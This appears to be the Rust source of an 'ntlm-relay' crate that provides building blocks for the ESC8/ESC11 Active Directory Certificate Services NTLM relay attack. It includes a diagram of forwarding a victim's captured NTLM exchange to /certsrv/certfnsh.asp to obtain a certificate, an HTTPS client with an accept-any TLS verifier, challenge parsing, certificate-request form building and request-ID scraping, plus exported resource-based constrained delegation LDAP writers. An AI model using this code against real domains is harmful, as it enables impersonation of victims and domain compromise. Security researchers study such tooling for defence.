Skip to main content

ntlm_relay/
lib.rs

1//! **ntlm-relay** — NTLM relay-chain primitives, focused on the HTTP-side of the ESC8 /
2//! ESC11 AD CS relay.
3//!
4//! # What this crate is
5//!
6//! The reusable building blocks a Rust NTLM-relay driver needs on the *target* side of the
7//! chain — the CA / LDAP / HTTP server the victim's captured NTLM will be forwarded to.
8//! The victim-listener side (SMB server, LDAP server, HTTP server) is a matter for the
9//! transport crates (e.g. [`smb2-client`](https://crates.io/crates/smb2-client) exposes a
10//! `server::RelayConn`); this crate provides the *outbound* pieces that turn a Type1 → Type3
11//! opaque forward into an issued certificate.
12//!
13//! # Included primitives
14//!
15//! - [`HttpsClient`] — minimal keep-alive HTTP/1.1 over rustls, `insecure` flag for the
16//!   ubiquitous self-signed AD CS Web Enrollment endpoint.
17//! - [`parse_ntlm_challenge`] — extract the Type-2 blob out of `WWW-Authenticate: NTLM <b64>`.
18//! - [`cert_request_form`] — build the `Mode=newreq&CertRequest=…&CertAttrib=…` body the
19//!   `/certsrv/certfnsh.asp` handler expects.
20//! - [`parse_request_id`] — scrape the `ReqID=<n>` the CA emits after `certfnsh.asp` returns.
21//! - [`base64_encode`] / [`base64_decode`] — the base64 subset needed by the ESC8 flow, so
22//!   the crate depends on `rustls` and `tokio` only.
23//!
24//! # ESC8 flow, end-to-end
25//!
26//! ```text
27//! victim SMB ──Type1──▶ your listener ──Type1──▶ HttpsClient.send("POST /certsrv/certfnsh.asp",
28//!                                                                Authorization: NTLM Type1)
29//!                                             ◀── 401 WWW-Authenticate: NTLM Type2
30//! victim SMB ◀─Type2── your listener ◀─Type2──┘
31//! victim SMB ──Type3──▶ your listener ──Type3──▶ HttpsClient.send("POST /certsrv/certfnsh.asp",
32//!                                                                Authorization: NTLM Type3,
33//!                                                                Body: cert_request_form(csr, tmpl))
34//!                                             ◀── 200 OK, body contains ReqID=<n>
35//! attacker ─────────────────────────────────────▶ HttpsClient.send("GET /certsrv/certnew.cer?ReqID=<n>")
36//! ```
37//!
38//! ESC11 (MS-ICPR over ncacn_ip_tcp) uses the same Type1/Type2/Type3 shape but on a
39//! DCE/RPC bind, not HTTP — see the [`dcerpc`](https://crates.io/crates/dcerpc) crate's
40//! `icpr` module and its `bind_relay_start` / `bind_relay_finish` methods for the outbound
41//! side of that variant.
42//!
43//! # What this crate is *not*
44//!
45//! Not a batteries-included relay driver — no SMB victim listener, no LDAP
46//! `msDS-KeyCredentialLink` writer, no argument parsing, no target-selection
47//! auto-pilot. The full driver lives in ADhammer, composing this crate with
48//! `smb2-client`, `dcerpc`, `ntlmssp`, `windows-sddl`, and `ms-pac-forge`.
49//! If you're building your own relay driver, wire these primitives to your
50//! listener of choice.
51
52use anyhow::{anyhow, Context, Result};
53use rustls::client::ServerCertVerified;
54use rustls::{Certificate, ClientConfig, RootCertStore, ServerName};
55use std::io::Write;
56use std::sync::Arc;
57use tokio::io::{AsyncReadExt, AsyncWriteExt};
58use tokio::net::TcpStream;
59
60pub mod certsrv;
61pub mod ldap_rbcd;
62
63pub use certsrv::{Esc8Step1, EscCertsrvChain};
64pub use ldap_rbcd::{
65    build_rbcd_clear, build_rbcd_write, ModifyOp, RbcdWrite, ATTR_ALLOWED_TO_ACT_ON_BEHALF,
66};
67
68// ----- HTTP/1.1 minimal client with keep-alive -----------------------------------------------
69
70pub struct HttpsClient {
71    stream: tokio_rustls::client::TlsStream<TcpStream>,
72    host: String,
73}
74
75/// Skip TLS cert verification — AD CS often runs on a self-signed / internal-CA endpoint.
76struct AcceptAny;
77impl rustls::client::ServerCertVerifier for AcceptAny {
78    fn verify_server_cert(
79        &self,
80        _end_entity: &Certificate,
81        _intermediates: &[Certificate],
82        _server_name: &ServerName,
83        _scts: &mut dyn Iterator<Item = &[u8]>,
84        _ocsp_response: &[u8],
85        _now: std::time::SystemTime,
86    ) -> std::result::Result<ServerCertVerified, rustls::Error> {
87        Ok(ServerCertVerified::assertion())
88    }
89}
90
91impl HttpsClient {
92    pub async fn connect(host: &str, port: u16, insecure: bool) -> Result<Self> {
93        let cfg = if insecure {
94            ClientConfig::builder()
95                .with_safe_defaults()
96                .with_custom_certificate_verifier(Arc::new(AcceptAny))
97                .with_no_client_auth()
98        } else {
99            let mut roots = RootCertStore::empty();
100            for c in rustls_native_certs::load_native_certs()? {
101                let _ = roots.add(&Certificate(c.0));
102            }
103            ClientConfig::builder()
104                .with_safe_defaults()
105                .with_root_certificates(roots)
106                .with_no_client_auth()
107        };
108        let connector = tokio_rustls::TlsConnector::from(Arc::new(cfg));
109        let tcp = TcpStream::connect((host, port)).await?;
110        let sn = ServerName::try_from(host).context("bad host name for TLS SNI")?;
111        let stream = connector.connect(sn, tcp).await?;
112        // RFC 7230 §5.4 — include `:port` when it isn't the default for the scheme (443 for
113        // HTTPS). AD CS on 443 works either way; a CA on a non-standard port needs it.
114        let host = if port == 443 {
115            host.to_string()
116        } else {
117            format!("{host}:{port}")
118        };
119        Ok(HttpsClient { stream, host })
120    }
121
122    /// Send a single HTTP/1.1 request on the persistent connection and read the full response.
123    pub async fn send(
124        &mut self,
125        method: &str,
126        path: &str,
127        headers: &[(&str, &str)],
128        body: &[u8],
129    ) -> Result<HttpResponse> {
130        let mut req: Vec<u8> = Vec::with_capacity(body.len() + 512);
131        write!(&mut req, "{method} {path} HTTP/1.1\r\n")?;
132        write!(&mut req, "Host: {}\r\n", self.host)?;
133        write!(&mut req, "Connection: keep-alive\r\n")?;
134        write!(&mut req, "Content-Length: {}\r\n", body.len())?;
135        for (k, v) in headers {
136            write!(&mut req, "{k}: {v}\r\n")?;
137        }
138        req.extend_from_slice(b"\r\n");
139        req.extend_from_slice(body);
140        self.stream.write_all(&req).await?;
141        self.stream.flush().await?;
142        read_response(&mut self.stream).await
143    }
144}
145
146#[non_exhaustive]
147pub struct HttpResponse {
148    pub status: u16,
149    pub headers: Vec<(String, String)>,
150    pub body: Vec<u8>,
151}
152
153impl HttpResponse {
154    /// Return the first matching header (or `None`) — case-insensitive.
155    ///
156    /// **Caution for multi-value headers.** IIS sends `WWW-Authenticate: Negotiate` on one
157    /// line and `WWW-Authenticate: NTLM <b64>` on a separate line; `header("WWW-Authenticate")`
158    /// returns only the first (`"Negotiate"`), which breaks NTLM extraction on that path.
159    /// For any header where multiple values are expected, use [`Self::headers_all`].
160    pub fn header(&self, name: &str) -> Option<&str> {
161        self.headers
162            .iter()
163            .find(|(k, _)| k.eq_ignore_ascii_case(name))
164            .map(|(_, v)| v.as_str())
165    }
166
167    /// Return every value of a header (case-insensitive), in the order the server sent them.
168    /// Use this instead of [`Self::header`] when the header can legitimately appear more than
169    /// once — `WWW-Authenticate`, `Set-Cookie`, `Via`, `Warning`.
170    pub fn headers_all<'a>(&'a self, name: &'a str) -> impl Iterator<Item = &'a str> {
171        self.headers
172            .iter()
173            .filter(move |(k, _)| k.eq_ignore_ascii_case(name))
174            .map(|(_, v)| v.as_str())
175    }
176}
177
178/// Read one HTTP/1.1 response from the stream: status line + headers (delimited by `\r\n\r\n`),
179/// then body per `Content-Length`. Chunked transfer-encoding not implemented — AD CS certsrv
180/// uses fixed lengths in every response the ESC8 flow touches.
181async fn read_response<R: AsyncReadExt + Unpin>(r: &mut R) -> Result<HttpResponse> {
182    let mut buf = Vec::with_capacity(4096);
183    let mut chunk = [0u8; 4096];
184    // Read until we see \r\n\r\n.
185    let header_end = loop {
186        let n = r.read(&mut chunk).await?;
187        if n == 0 {
188            return Err(anyhow!("connection closed before headers"));
189        }
190        buf.extend_from_slice(&chunk[..n]);
191        if let Some(pos) = find_header_end(&buf) {
192            break pos;
193        }
194        if buf.len() > 64 * 1024 {
195            return Err(anyhow!("HTTP headers > 64KiB — aborting"));
196        }
197    };
198    let (head, tail_after) = buf.split_at(header_end);
199    let head_str = std::str::from_utf8(head).context("non-UTF8 HTTP headers")?;
200    let (status, headers) = parse_head(head_str)?;
201    let mut body = tail_after[4..].to_vec(); // skip the \r\n\r\n
202    let content_len: usize = headers
203        .iter()
204        .find(|(k, _)| k.eq_ignore_ascii_case("Content-Length"))
205        .and_then(|(_, v)| v.parse().ok())
206        .unwrap_or(0);
207    while body.len() < content_len {
208        let n = r.read(&mut chunk).await?;
209        if n == 0 {
210            break;
211        }
212        body.extend_from_slice(&chunk[..n]);
213    }
214    body.truncate(content_len);
215    Ok(HttpResponse {
216        status,
217        headers,
218        body,
219    })
220}
221
222fn find_header_end(buf: &[u8]) -> Option<usize> {
223    buf.windows(4).position(|w| w == b"\r\n\r\n")
224}
225
226fn parse_head(s: &str) -> Result<(u16, Vec<(String, String)>)> {
227    let mut lines = s.split("\r\n");
228    let status_line = lines.next().context("empty response")?;
229    // "HTTP/1.1 200 OK"
230    let status: u16 = status_line
231        .split_whitespace()
232        .nth(1)
233        .and_then(|s| s.parse().ok())
234        .context("bad status line")?;
235    let mut headers = Vec::new();
236    for l in lines {
237        if l.is_empty() {
238            break;
239        }
240        if let Some((k, v)) = l.split_once(':') {
241            headers.push((k.trim().to_string(), v.trim().to_string()));
242        }
243    }
244    Ok((status, headers))
245}
246
247// ----- ESC8 flow -----------------------------------------------------------------------------
248
249/// Extract the NTLM Type-2 (base64) from a single `WWW-Authenticate` header value.
250///
251/// Handles both `NTLM <b64>` alone and `Negotiate, NTLM <b64>` comma-lists. If the CA sends
252/// each scheme on a **separate** `WWW-Authenticate` header line (IIS's default), the caller
253/// must use [`parse_ntlm_challenge_all`] over [`HttpResponse::headers_all`] instead — a
254/// single-header call will match only the first line and miss the NTLM one.
255pub fn parse_ntlm_challenge(www_auth: &str) -> Option<Vec<u8>> {
256    for entry in www_auth.split(',') {
257        let e = entry.trim();
258        if let Some(rest) = e.strip_prefix("NTLM ") {
259            return base64_decode(rest.trim());
260        }
261    }
262    None
263}
264
265/// Extract the NTLM Type-2 from any of the given `WWW-Authenticate` header values (in the
266/// order the server sent them). Use this over [`parse_ntlm_challenge`] when the response
267/// may split schemes across multiple header lines (IIS does).
268///
269/// ```rust,ignore
270/// let type2 = parse_ntlm_challenge_all(response.headers_all("WWW-Authenticate"))?;
271/// ```
272pub fn parse_ntlm_challenge_all<'a, I>(headers: I) -> Option<Vec<u8>>
273where
274    I: IntoIterator<Item = &'a str>,
275{
276    for h in headers {
277        if let Some(t2) = parse_ntlm_challenge(h) {
278            return Some(t2);
279        }
280    }
281    None
282}
283
284/// Extract the certificate Request ID from the ASP response HTML. AD CS emits
285/// `ReqID=<n>` in a `location.href="certnew.cer?ReqID=..."` line or similar.
286pub fn parse_request_id(html: &str) -> Option<u32> {
287    let key = "ReqID=";
288    let at = html.find(key)?;
289    let tail = &html[at + key.len()..];
290    let end = tail
291        .find(|c: char| !c.is_ascii_digit())
292        .unwrap_or(tail.len());
293    tail[..end].parse().ok()
294}
295
296/// Build the form-encoded body AD CS Web Enrollment expects.
297/// `csr_pem` is the PEM-armored PKCS#10.
298pub fn cert_request_form(csr_pem: &str, template: &str) -> String {
299    let attrs = format!("CertificateTemplate:{template}");
300    // AD CS decodes these on the server side; the encoded CSR must include newlines.
301    let mut out = String::new();
302    out.push_str("Mode=newreq");
303    out.push_str("&CertRequest=");
304    out.push_str(&url_encode(csr_pem));
305    out.push_str("&CertAttrib=");
306    out.push_str(&url_encode(&attrs));
307    out.push_str("&TargetStoreFlags=0");
308    out.push_str("&SaveCert=yes");
309    out.push_str("&ThumbPrint=");
310    out
311}
312
313/// application/x-www-form-urlencoded encoder — the small alphabet AD CS's ASP handler cares about.
314fn url_encode(s: &str) -> String {
315    let mut out = String::with_capacity(s.len());
316    for b in s.bytes() {
317        match b {
318            b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => {
319                out.push(b as char)
320            }
321            b' ' => out.push('+'),
322            _ => out.push_str(&format!("%{b:02X}")),
323        }
324    }
325    out
326}
327
328// ----- tiny base64 (avoid pulling a whole crate for this one thing) --------------------------
329
330const B64: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
331
332pub fn base64_encode(b: &[u8]) -> String {
333    let mut out = String::with_capacity(b.len().div_ceil(3) * 4);
334    for chunk in b.chunks(3) {
335        let (a, b1, c) = (
336            chunk[0] as u32,
337            chunk.get(1).copied().unwrap_or(0) as u32,
338            chunk.get(2).copied().unwrap_or(0) as u32,
339        );
340        let n = (a << 16) | (b1 << 8) | c;
341        out.push(B64[((n >> 18) & 0x3f) as usize] as char);
342        out.push(B64[((n >> 12) & 0x3f) as usize] as char);
343        out.push(if chunk.len() > 1 {
344            B64[((n >> 6) & 0x3f) as usize] as char
345        } else {
346            '='
347        });
348        out.push(if chunk.len() > 2 {
349            B64[(n & 0x3f) as usize] as char
350        } else {
351            '='
352        });
353    }
354    out
355}
356
357pub fn base64_decode(s: &str) -> Option<Vec<u8>> {
358    let s: Vec<u8> = s.bytes().filter(|b| !b.is_ascii_whitespace()).collect();
359    let mut out = Vec::with_capacity(s.len() * 3 / 4);
360    let idx = |c: u8| -> Option<u32> {
361        match c {
362            b'A'..=b'Z' => Some((c - b'A') as u32),
363            b'a'..=b'z' => Some((c - b'a' + 26) as u32),
364            b'0'..=b'9' => Some((c - b'0' + 52) as u32),
365            b'+' => Some(62),
366            b'/' => Some(63),
367            _ => None,
368        }
369    };
370    for chunk in s.chunks(4) {
371        if chunk.len() < 2 {
372            return None;
373        }
374        let a = idx(chunk[0])?;
375        let b = idx(chunk[1])?;
376        let c = if chunk.len() > 2 && chunk[2] != b'=' {
377            Some(idx(chunk[2])?)
378        } else {
379            None
380        };
381        let d = if chunk.len() > 3 && chunk[3] != b'=' {
382            Some(idx(chunk[3])?)
383        } else {
384            None
385        };
386        let n = (a << 18) | (b << 12) | (c.unwrap_or(0) << 6) | d.unwrap_or(0);
387        out.push((n >> 16) as u8);
388        if c.is_some() {
389            out.push((n >> 8) as u8);
390        }
391        if d.is_some() {
392            out.push(n as u8);
393        }
394    }
395    Some(out)
396}
397
398#[cfg(test)]
399mod tests {
400    use super::*;
401
402    #[test]
403    fn base64_roundtrip_including_pad() {
404        for msg in [b"".as_slice(), b"a", b"ab", b"abc", b"abcdef", &[0, 1, 255]] {
405            assert_eq!(base64_decode(&base64_encode(msg)).unwrap(), msg);
406        }
407    }
408
409    #[test]
410    fn ntlm_challenge_extracted_from_www_authenticate() {
411        let hdr = "Negotiate, NTLM TlRMTVNTUAACAAAA";
412        let t2 = parse_ntlm_challenge(hdr).unwrap();
413        assert_eq!(&t2[..8], b"NTLMSSP\0"); // first 8 bytes of an NTLM Type-2 message
414    }
415
416    #[test]
417    fn ntlm_challenge_extracted_across_multi_line_iis_headers() {
418        // IIS sends every scheme on its own WWW-Authenticate line — the caller uses
419        // headers_all() and passes them to parse_ntlm_challenge_all().
420        let lines = ["Negotiate", "NTLM TlRMTVNTUAACAAAA"];
421        let t2 = parse_ntlm_challenge_all(lines.iter().copied()).unwrap();
422        assert_eq!(&t2[..8], b"NTLMSSP\0");
423    }
424
425    #[test]
426    fn request_id_scraped_from_asp_response() {
427        let html = r#"<script>location.href="certnew.cer?ReqID=42&Enc=b64"</script>"#;
428        assert_eq!(parse_request_id(html), Some(42));
429    }
430
431    #[test]
432    fn form_encodes_csr_pem_and_template() {
433        let form = cert_request_form("-----BEGIN CERTIFICATE REQUEST-----\nabc\n", "User");
434        assert!(form.starts_with("Mode=newreq"));
435        assert!(form.contains("CertRequest="));
436        assert!(form.contains("CertificateTemplate%3AUser"));
437    }
438
439    #[test]
440    fn parse_head_extracts_status_and_headers() {
441        let s = "HTTP/1.1 401 Unauthorized\r\nWWW-Authenticate: NTLM abc\r\nContent-Length: 0\r\n";
442        let (st, hs) = parse_head(s).unwrap();
443        assert_eq!(st, 401);
444        assert_eq!(hs.len(), 2);
445        assert!(hs
446            .iter()
447            .any(|(k, v)| k == "WWW-Authenticate" && v == "NTLM abc"));
448    }
449}